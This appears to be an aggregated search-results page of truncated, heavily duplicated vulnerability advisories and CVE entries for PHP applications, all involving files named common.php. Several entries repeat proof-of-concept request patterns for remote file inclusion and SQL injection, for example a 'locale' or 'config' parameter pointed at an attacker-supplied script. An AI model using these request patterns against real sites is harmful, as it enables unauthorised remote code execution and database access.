SaBlog-X 1.5 storm path-vulnerability warning-the black bar safety net

Source: Amxku blog www.amxku.net common.php $options'gzipcompress' && functionexists'obgzhandler' ? obstart'obgzhandler' : obstart; Changed to: $options'gzipcompress' && functionexists'obgzhandler' ? @obstart'obgzhandler' : obstart; Discuz! Before seems to have there been such problems...

E-GADS! 2.2.6 (common.php locale) Remote File Inclusion Vulnerability

No description provided by source. E-GADS! 2.2.6 Remote File Inclusion Vulnerability Dork:: Vuln Code ERROR:common.php require "$locale/locale.php"; BUG: Example:http://site.com/path/common.php?locale=Sh3LL Script Script Download...

E-GADS! 2.2.6 (common.php locale) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== E-GADS! 2.2.6 common.php locale Remote File Inclusion Vulnerability ===================================================================== E-GADS! 2.2.6 Remote File...

E-GADS! 2.2.6 - common.php?locale Remote File Inclusion

E-GADS! 2.2.6 - common.php?locale Remote File Inclusion E-GADS! 2.2.6 Remote File Inclusion Vulnerability Dork:: Vuln Code ERROR:common.php require "$locale/locale.php"; BUG: Example:http://site.com/path/common.php?locale=Sh3LL Script Script Download...

E-GADS! 2.2.6 - 'common.php?locale' Remote File Inclusion

E-GADS! 2.2.6 Remote File Inclusion Vulnerability Dork:: Vuln Code ERROR:common.php require "$locale/locale.php"; BUG: Example:http://site.com/path/common.php?locale=Sh3LL Script Script Download https://sourceforge.net/project/showfiles.php?groupid=88942&packageid=93125&releaseid=444821 Special...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Post Revolution 6.6 and 7.0 RC2 allow remote attackers to execute arbitrary PHP code via a URL in the dir parameter to 1 common.php or 2 themes/default/previewpostcompleto.php...

Post Revolution Remote File Inclusion

Post Revolution Remote File Inclusion Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2 Download..: http://www.fabio.com.ar/postrev/ Risk ..............: high Date .........: 25/3/2007 Found by ..........: InyeXion Contact ...........: InyeXionatgmail.com Web .............:...

postrev-rfi.txt

Post Revolution Remote File Inclusion Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2 Download..: http://www.fabio.com.ar/postrev/ Risk ..............: high Date .........: 25/3/2007 Found by ..........: InyeXion Contact ...........: InyeXionatgmail.com Web .............:...

Post Revolution <= 0.7.0 RC 2 (dir) Remote File Inclusion Vulnerability

No description provided by source. Post Revolution Remote File Inclusion Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2 Download..: http://www.fabio.com.ar/postrev/ Risk ..............: high Date .........: 25/3/2007 Found by ..........: InyeXion Contact ...........:...

Post Revolution <= 0.7.0 RC 2 (dir) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Post Revolution = 0.7.0 RC 2 dir Remote File Inclusion Vulnerability ======================================================================= Post Revolution Remote Fil...

Post REvolution 0.7.0 RC 2 - dir Remote File Inclusion

Post REvolution 0.7.0 RC 2 - dir Remote File Inclusion Post Revolution Remote File Inclusion Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2 Download..: http://www.fabio.com.ar/postrev/ Risk ..............: high Date .........: 25/3/2007 Found by ..........: InyeXion Contact...

Post REvolution 0.7.0 RC 2 - 'dir' Remote File Inclusion

Post Revolution Remote File Inclusion Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2 Download..: http://www.fabio.com.ar/postrev/ Risk ..............: high Date .........: 25/3/2007 Found by ..........: InyeXion Contact ...........: InyeXionatgmail.com Web .............:...

CVE-2007-2096

The CVE-2007-2096 entry concerns a PHP remote file inclusion vulnerability in Hinton Design PHPHD Download System (phphd_downloads). The flaw is in common.php where a URL supplied to phphd_real_path enables remote attackers to execute arbitrary PHP code. Affected information notes this issue may ...

Remote file inclusion

PHP remote file inclusion vulnerability in common.php in PHP Photo Album allows remote attackers to execute arbitrary PHP code via a URL in the dbfile parameter. NOTE: CVE disputes this vulnerability, because versions 0.3.2.6 and 0.4.1beta do not contain this file. However, it is possible that th...

CVE-2007-1456

PHP remote file inclusion vulnerability in common.php in PHP Photo Album allows remote attackers to execute arbitrary PHP code via a URL in the dbfile parameter. NOTE: CVE disputes this vulnerability, because versions 0.3.2.6 and 0.4.1beta do not contain this file. However, it is possible that th...

CVE-2007-1456

CVE-2007-1456 – PHP Photo Album (common.php, db_file). A remote file inclusion vulnerability in common.php allows an attacker to supply a URL to db_file to execute arbitrary PHP code. Affected versions were claimed to be pre-0.3.2.6, but the project notes that some builds may not contain common.p...

Sql injection

SQL injection vulnerability in inc/common.php in GlobalMegaCorp dvddb 0.6 allows remote attackers to execute arbitrary SQL commands via the user parameter. NOTE: this issue has been disputed by a reliable third party, who states that inc/common.php only contains function definitions...

CVE-2007-0794

CVE-2007-0794 describes a SQL injection vulnerability in GlobalMegaCorp dvddb 0.6, specifically in inc/common.php via the user parameter, potentially allowing remote arbitrary SQL execution. Some sources note the issue is disputed and that the file may contain only function definitions. Connected...

dvddb06-rfi.txt

Title : dvddb-0.6 media remote file include vuln. Author : Blaster Download : http://globalmegacorp.org/dvddb/dvddb-0.6.zip Contact : [email protected] Vuln Code: require$config /"themes"; ExpLoit : http://target/path/inc/common.php?config=attacker GreetZ: BLaCKWHITE, HackerBox.Eu...

dvddb-0.6 media sql-inj. vuln.

Title : dvddb-0.6 media sql-inj. vuln. Author : Blaster Download : http://globalmegacorp.org/dvddb/dvddb-0.6.zip Contact : [email protected] ExpLoit : http://target/path/inc/common.php?user=sql GreetZ: BLaCKWHITE, HackerBox.Eu...